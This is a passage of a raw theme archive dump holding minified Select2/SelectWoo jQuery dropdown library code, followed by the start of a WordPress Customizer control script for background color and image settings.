a,l=d.createTag(c);null!=l&&((a=d.option(l)).attr("data-select2-tag",!0),d.addOptions([a]),d.insertTag(o,l)),t.results=o,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){t=a.trim(t.term);return""===t?null:{id:t,text:t}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},e}),u.define("select2/data/tokenizer",["jquery"],function(c){function e(e,t,n){var o=n.get("tokenizer");void 0!==o&&(this.tokenizer=o),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var o=this;t.term=t.term||"";var i=this.tokenizer(t,this.options,function(e){var t,n=o._normalizeItem(e);o.$element.find("option").filter(function(){return c(this).val()===n.id}).length||((t=o.option(n)).attr("data-select2-tag",!0),o._removeOldTags(),o.addOptions([t])),t=n,o.trigger("select",{data:t})});i.term!==t.term&&(this.$search.length&&(this.$search.val(i.term),this.$search.focus()),t.term=i.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,o){for(var i=n.get("tokenSeparators")||[],s=t.term,r=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};r<s.length;){var l=s[r];-1!==c.inArray(l,i)?(l=s.substr(0,r),null!=(l=a(c.extend({},t,{term:l})))?(o(l),s=s.substr(r+1)||"",r=0):r++):r++}return{term:s}},e}),u.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),u.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),u.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.query=function(t,n,o){var i=this;this.current(function(e){e=null!=e?e.length:0;0<i.maximumSelectionLength&&e>=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):t.call(i,n,o)})},e}),u.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),u.define("select2/dropdown/search",["jquery","../utils"],function(s,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),e=s('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="text" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="combobox" aria-autocomplete="list" aria-expanded="true" /></span>');return this.$searchContainer=e,this.$search=e.find("input"),t.prepend(e),t},t.prototype.bind=function(e,t,n){var o=this,i=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){o.trigger("keypress",e),o._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){s(this).off("keyup")}),this.$search.on("keyup input",function(e){o.handleSearch(e)}),t.on("open",function(){o.$search.attr("tabindex",0),o.$search.attr("aria-owns",i),o.$search.focus(),window.setTimeout(function(){o.$search.focus()},0)}),t.on("close",function(){o.$search.attr("tabindex",-1),o.$search.removeAttr("aria-activedescendant"),o.$search.removeAttr("aria-owns"),o.$search.val("")}),t.on("focus",function(){t.isOpen()||o.$search.focus()}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(o.showSearch(e)?o.$searchContainer.removeClass("select2-search--hide"):o.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){o.$search.attr("aria-activedescendant",e.data._resultId)})},t.prototype.handleSearch=function(e){var t;this._keyUpPrevented||(t=this.$search.val(),this.trigger("query",{term:t})),this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),u.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,o){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,o)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),o=t.length-1;0<=o;o--){var i=t[o];this.placeholder.id===i.id&&n.splice(o,1)}return n},e}),u.define("select2/dropdown/infiniteScroll",["jquery"],function(i){function e(e,t,n,o){this.lastParams={},e.call(this,t,n,o),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&this.$results.append(this.$loadingMore)},e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("query",function(e){o.lastParams=e,o.loading=!0}),t.on("query:append",function(e){o.lastParams=e,o.loading=!0}),this.$results.on("scroll",function(){var e=i.contains(document.documentElement,o.$loadingMore[0]);!o.loading&&e&&(e=o.$results.offset().top+o.$results.outerHeight(!1),o.$loadingMore.offset().top+o.$loadingMore.outerHeight(!1)<=e+50&&o.loadMore())})},e.prototype.loadMore=function(){this.loading=!0;var e=i.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=i('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),u.define("select2/dropdown/attachBody",["jquery","../utils"],function(c,r){function e(e,t,n){this.$dropdownParent=n.get("dropdownParent")||c(document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var o=this,i=!1;e.call(this,t,n),t.on("open",function(){o._showDropdown(),o._attachPositioningHandler(t),i||(i=!0,t.on("results:all",function(){o._positionDropdown(),o._resizeDropdown()}),t.on("results:append",function(){o._positionDropdown(),o._resizeDropdown()}))}),t.on("close",function(){o._hideDropdown(),o._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=c("<span></span>"),e=e.call(this);return t.append(e),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._attachPositioningHandler=function(e,t){var n=this,o="scroll.select2."+t.id,i="resize.select2."+t.id,s="orientationchange.select2."+t.id,t=this.$container.parents().filter(r.hasScroll);t.each(function(){c(this).data("select2-scroll-position",{x:c(this).scrollLeft(),y:c(this).scrollTop()})}),t.on(o,function(e){var t=c(this).data("select2-scroll-position");c(this).scrollTop(t.y)}),c(window).on(o+" "+i+" "+s,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,o="resize.select2."+t.id,t="orientationchange.select2."+t.id;this.$container.parents().filter(r.hasScroll).off(n),c(window).off(n+" "+o+" "+t)},e.prototype._positionDropdown=function(){var e=c(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),o=null,i=this.$container.offset();i.bottom=i.top+this.$container.outerHeight(!1);var s={height:this.$container.outerHeight(!1)};s.top=i.top,s.bottom=i.top+s.height;var r=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),e=a<i.top-r,a=l>i.bottom+r,l={left:i.left,top:s.bottom},i=this.$dropdownParent;"static"===i.css("position")&&(i=i.offsetParent());i=i.offset();l.top-=i.top,l.left-=i.left,t||n||(o="below"),a||!e||t?!e&&a&&t&&(o="below"):o="above",("above"==o||t&&"below"!==o)&&(l.top=s.top-i.top-r),null!=o&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+o),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+o)),this.$dropdownContainer.css(l)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),u.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,o){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,o)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,o=0;o<t.length;o++){var i=t[o];i.children?n+=e(i.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),u.define("select2/dropdown/selectOnClose",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("close",function(e){o._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}n=this.getHighlightedResults();n.length<1||(null!=(n=n.data("data")).element&&n.element.selected||null==n.element&&n.selected||this.trigger("select",{data:n}))},e}),u.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("select",function(e){o._selectTriggered(e)}),t.on("unselect",function(e){o._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&n.ctrlKey||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),u.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,e="Please delete "+t+" character";return 1!=t&&(e+="s"),e},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),u.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(u,d,p,h,f,g,m,y,v,_,$,t,w,b,A,x,E,O,C,S,T,D,q,L,j,P,k,I,e){function n(){this.reset()}return n.prototype.apply=function(t){var e,n;if(null==(t=u.extend(!0,{},this.defaults,t)).dataAdapter&&(null!=t.ajax?t.dataAdapter=A:null!=t.data?t.dataAdapter=b:t.dataAdapter=w,0<t.minimumInputLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,O)),0<t.maximumInputLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,C)),0<t.maximumSelectionLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,S)),t.tags&&(t.dataAdapter=_.Decorate(t.dataAdapter,x)),null==t.tokenSeparators&&null==t.tokenizer||(t.dataAdapter=_.Decorate(t.dataAdapter,E)),null!=t.query&&(e=d(t.amdBase+"compat/query"),t.dataAdapter=_.Decorate(t.dataAdapter,e)),null!=t.initSelection&&(e=d(t.amdBase+"compat/initSelection"),t.dataAdapter=_.Decorate(t.dataAdapter,e))),null==t.resultsAdapter&&(t.resultsAdapter=p,null!=t.ajax&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,L)),null!=t.placeholder&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,q)),t.selectOnClose&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,k))),null==t.dropdownAdapter&&(t.multiple?t.dropdownAdapter=T:(n=_.Decorate(T,D),t.dropdownAdapter=n),0!==t.minimumResultsForSearch&&(t.dropdownAdapter=_.Decorate(t.dropdownAdapter,P)),t.closeOnSelect&&(t.dropdownAdapter=_.Decorate(t.dropdownAdapter,I)),null==t.dropdownCssClass&&null==t.dropdownCss&&null==t.adaptDropdownCssClass||(n=d(t.amdBase+"compat/dropdownCss"),t.dropdownAdapter=_.Decorate(t.dropdownAdapter,n)),t.dropdownAdapter=_.Decorate(t.dropdownAdapter,j)),null==t.selectionAdapter&&(t.multiple?t.selectionAdapter=f:t.selectionAdapter=h,null!=t.placeholder&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,g)),t.allowClear&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,m)),t.multiple&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,y)),null==t.containerCssClass&&null==t.containerCss&&null==t.adaptContainerCssClass||(l=d(t.amdBase+"compat/containerCss"),t.selectionAdapter=_.Decorate(t.selectionAdapter,l)),t.selectionAdapter=_.Decorate(t.selectionAdapter,v)),"string"==typeof t.language&&(0<t.language.indexOf("-")?(c=t.language.split("-")[0],t.language=[t.language,c]):t.language=[t.language]),u.isArray(t.language)){var o=new $;t.language.push("en");for(var i=t.language,s=0;s<i.length;s++){var r=i[s],a={};try{a=$.loadPath(r)}catch(e){try{r=this.defaults.amdLanguageBase+r,a=$.loadPath(r)}catch(e){t.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+r+'" could not be automatically loaded. A fallback will be used instead.');continue}}o.extend(a)}t.translations=o}else{var l=$.loadPath(this.defaults.amdLanguageBase+"en"),c=new $(t.language);c.extend(l),t.translations=c}return t},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:_.escapeMarkup,language:e,matcher:function e(t,n){if(""===u.trim(t.term))return n;if(n.children&&0<n.children.length){for(var o=u.extend(!0,{},n),i=n.children.length-1;0<=i;i--)null==e(t,n.children[i])&&o.children.splice(i,1);return 0<o.children.length?o:e(t,o)}var s=a(n.text).toUpperCase(),r=a(t.term).toUpperCase();return-1<s.indexOf(r)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.set=function(e,t){var n={};n[u.camelCase(e)]=t;n=_._convertData(n);u.extend(this.defaults,n)},new n}),u.define("select2/options",["require","jquery","./defaults","./utils"],function(n,s,o,r){function e(e,t){this.options=e,null!=t&&this.fromElement(t),this.options=o.apply(this.options),t&&t.is("input")&&(t=n(this.get("amdBase")+"compat/inputData"),this.options.dataAdapter=r.Decorate(this.options.dataAdapter,t))}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.language&&(e.prop("lang")?this.options.language=e.prop("lang").toLowerCase():e.closest("[lang]").prop("lang")&&(this.options.language=e.closest("[lang]").prop("lang"))),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),e.data("select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),e.data("data",e.data("select2Tags")),e.data("tags",!0)),e.data("ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",e.data("ajaxUrl")),e.data("ajax--url",e.data("ajaxUrl")));var n,o={},o=s.fn.jquery&&"1."==s.fn.jquery.substr(0,2)&&e[0].dataset?s.extend(!0,{},e[0].dataset,e.data()):e.data(),i=s.extend(!0,{},o);for(n in i=r._convertData(i))-1<s.inArray(n,t)||(s.isPlainObject(this.options[n])?s.extend(this.options[n],i[n]):this.options[n]=i[n]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),u.define("select2/core",["jquery","./options","./utils","./keys"],function(i,s,n,r){var a=function(e,t){null!=e.data("select2")&&e.data("select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new s(t,e),a.__super__.constructor.call(this);var n=e.attr("tabindex")||0;e.data("old-tabindex",n),e.attr("tabindex","-1");t=this.options.get("dataAdapter");this.dataAdapter=new t(e,this.options);n=this.render();this._placeContainer(n);t=this.options.get("selectionAdapter");this.selection=new t(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,n);t=this.options.get("dropdownAdapter");this.dropdown=new t(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,n);n=this.options.get("resultsAdapter");this.results=new n(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var o=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){o.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),e.data("select2",this)};return n.Extend(a,n.Observable),a.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+n.generateChars(2):n.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},a.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},a.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var o=this._resolveWidth(e,"style");return null!=o?o:this._resolveWidth(e,"element")}if("element"==t){o=e.outerWidth(!1);return o<=0?"auto":o+"px"}if("style"!=t)return t;e=e.attr("style");if("string"!=typeof e)return null;for(var i=e.split(";"),s=0,r=i.length;s<r;s+=1){var a=i[s].replace(/\s/g,"").match(n);if(null!==a&&1<=a.length)return a[1]}return null},a.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},a.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=n.bind(this._syncAttributes,this),this._syncS=n.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){i.each(e,t._syncA),i.each(e,t._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},a.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerSelectionEvents=function(){var n=this,o=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===i.inArray(e,o)&&n.trigger(e,t)})},a.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerEvents=function(){var o=this;this.on("open",function(){o.$container.addClass("select2-container--open")}),this.on("close",function(){o.$container.removeClass("select2-container--open")}),this.on("enable",function(){o.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){o.$container.addClass("select2-container--disabled")}),this.on("blur",function(){o.$container.removeClass("select2-container--focus")}),this.on("query",function(t){o.isOpen()||o.trigger("open",{}),this.dataAdapter.query(t,function(e){o.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){o.trigger("results:append",{data:e,query:t})})}),this.on("open",function(){setTimeout(function(){o.focusOnActiveElement()},1)}),i(document).on("keydown",function(e){var t,n=e.which;o.isOpen()?(n===r.ESC||n===r.UP&&e.altKey?(o.close(),e.preventDefault()):n===r.ENTER||n===r.TAB?(o.trigger("results:select",{}),e.preventDefault()):n===r.SPACE&&e.ctrlKey?(o.trigger("results:toggle",{}),e.preventDefault()):n===r.UP?(o.trigger("results:previous",{}),e.preventDefault()):n===r.DOWN&&(o.trigger("results:next",{}),e.preventDefault()),(t=o.$dropdown.find(".select2-search__field")).length||(t=o.$container.find(".select2-search__field")),n===r.DOWN||n===r.UP?o.focusOnActiveElement():(t.focus(),setTimeout(function(){o.focusOnActiveElement()},1e3))):o.hasFocus()&&(n!==r.ENTER&&n!==r.SPACE&&n!==r.DOWN||(o.open(),e.preventDefault()))})},a.prototype.focusOnActiveElement=function(){this.isOpen()&&!n.isTouchscreen()&&this.$results.find("li.select2-results__option--highlighted").focus()},a.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},a.prototype._syncSubtree=function(e,t){var n=!1,o=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var i=0;i<t.addedNodes.length;i++){t.addedNodes[i].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length&&(n=!0);else n=!0;n&&this.dataAdapter.current(function(e){o.trigger("selection:update",{data:e})})}},a.prototype.trigger=function(e,t){var n=a.__super__.trigger,o={open:"opening",close:"closing",select:"selecting",unselect:"unselecting"};if(void 0===t&&(t={}),e in o){var i=o[e],o={prevented:!1,name:e,args:t};if(n.call(this,i,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},a.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},a.prototype.open=function(){this.isOpen()||this.trigger("query",{})},a.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},a.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},a.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},a.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},a.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);e=!e[0];this.$element.prop("disabled",e)},a.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},a.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();e=e[0];i.isArray(e)&&(e=i.map(e,function(e){return e.toString()})),this.$element.val(e).trigger("change")},a.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",this.$element.data("old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},a.prototype.render=function(){var e=i('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),e.data("element",this.$element),e},a}),u.define("jquery-mousewheel",["jquery"],function(e){return e}),u.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults"],function(i,e,s,t){var r;return null==i.fn.selectWoo&&(r=["open","close","destroy"],i.fn.selectWoo=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=i.extend(!0,{},t);new s(i(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,o=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=i(this).data("select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,o)}),-1<i.inArray(t,r)?this:n}),null!=i.fn.select2&&null!=i.fn.select2.defaults&&(i.fn.selectWoo.defaults=i.fn.select2.defaults),null==i.fn.selectWoo.defaults&&(i.fn.selectWoo.defaults=t),i.fn.select2=i.fn.select2||i.fn.selectWoo,s}),{define:u.define,require:u.require});function w(e,t){return i.call(e,t)}function l(e,t){var n,o,i,s,r,a,l,c,u,d,p=t&&t.split("/"),h=y.map,f=h&&h["*"]||{};if(e){for(t=(e=e.split("/")).length-1,y.nodeIdCompat&&_.test(e[t])&&(e[t]=e[t].replace(_,"")),"."===e[0].charAt(0)&&p&&(e=p.slice(0,p.length-1).concat(e)),c=0;c<e.length;c++)"."===(d=e[c])?(e.splice(c,1),--c):".."===d&&(0===c||1===c&&".."===e[2]||".."===e[c-1]||0<c&&(e.splice(c-1,2),c-=2));e=e.join("/")}if((p||f)&&h){for(c=(n=e.split("/")).length;0<c;--c){if(o=n.slice(0,c).join("/"),p)for(u=p.length;0<u;--u)if(i=(i=h[p.slice(0,u).join("/")])&&i[o]){s=i,r=c;break}if(s)break;!a&&f&&f[o]&&(a=f[o],l=c)}!s&&a&&(s=a,r=l),s&&(n.splice(0,r,s),e=n.join("/"))}return e}function b(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),r.apply(p,e.concat([t,n]))}}function A(e){var t;if(w(m,e)&&(t=m[e],delete m[e],v[e]=!0,s.apply(p,t)),!w(g,e)&&!w(v,e))throw new Error("No "+e);return g[e]}function c(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function x(e){return e?c(e):[]}var u=o.require("jquery.select2");return t.fn.select2.amd=o,t.fn.selectWoo.amd=o,u}); core/custom-controls/assets/js/customize-controls.min.js 0000666 00000070046 15236704333 0017611 0 ustar 00 !function(t){t(window).on("load",function(){t("html").addClass("colorpicker-ready")}),wp.customize.controlConstructor["spacious-background"]=wp.customize.Control.extend({ready:function(){"use strict";this.initSpaciousBackgroundControl()},initSpaciousBackgroundControl:function(){var i=this,t=i.setting._value,e=i.container.find(".spacious-color-picker-alpha");!_.isUndefined(t["background-image"])&&""!==t["background-image"]||(i.container.find(".customize-control-content > .background-repeat").hide(),i.container.find(".customize-control-content > .background-position").hide(),i.container.find(".customize-control-content > .background-size").hide(),i.container.find(".customize-control-content > .background-attachment").hide()),e.wpColorPicker({change:function(){jQuery("html").hasClass("colorpicker-ready")&&setTimeout(function(){i.saveValue("background-color",e.val())},100)},clear:function(t){jQuery(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0]&&i.saveValue("background-color","")}}),i.container.on("click",".background-image-upload-button, .thumbnail-image img",function(t){var o=wp.media({multiple:!1}).open().on("select",function(){var t,e=o.state().get("selection").first(),n=e.toJSON().sizes.full.url;_.isUndefined(e.toJSON().sizes.medium)?_.isUndefined(e.toJSON().sizes.thumbnail)||(n=e.toJSON().sizes.thumbnail.url):n=e.toJSON().sizes.medium.url,t=e.toJSON().sizes.full.url,e.toJSON().id,e.toJSON().width,e.toJSON().height,""!==t&&i.container.find(".customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment").show(),i.saveValue("background-image",t),e=i.container.find(".placeholder, .thumbnail"),t=i.container.find(".background-image-upload-remove-button"),e.length&&e.removeClass().addClass("thumbnail thumbnail-image").html('<img src="'+n+'" alt="" />'),t.length&&t.show()});t.preventDefault()}),i.container.on("click",".background-image-upload-remove-button",function(t){var e;t.preventDefault(),i.saveValue("background-image",""),e=i.container.find(".placeholder, 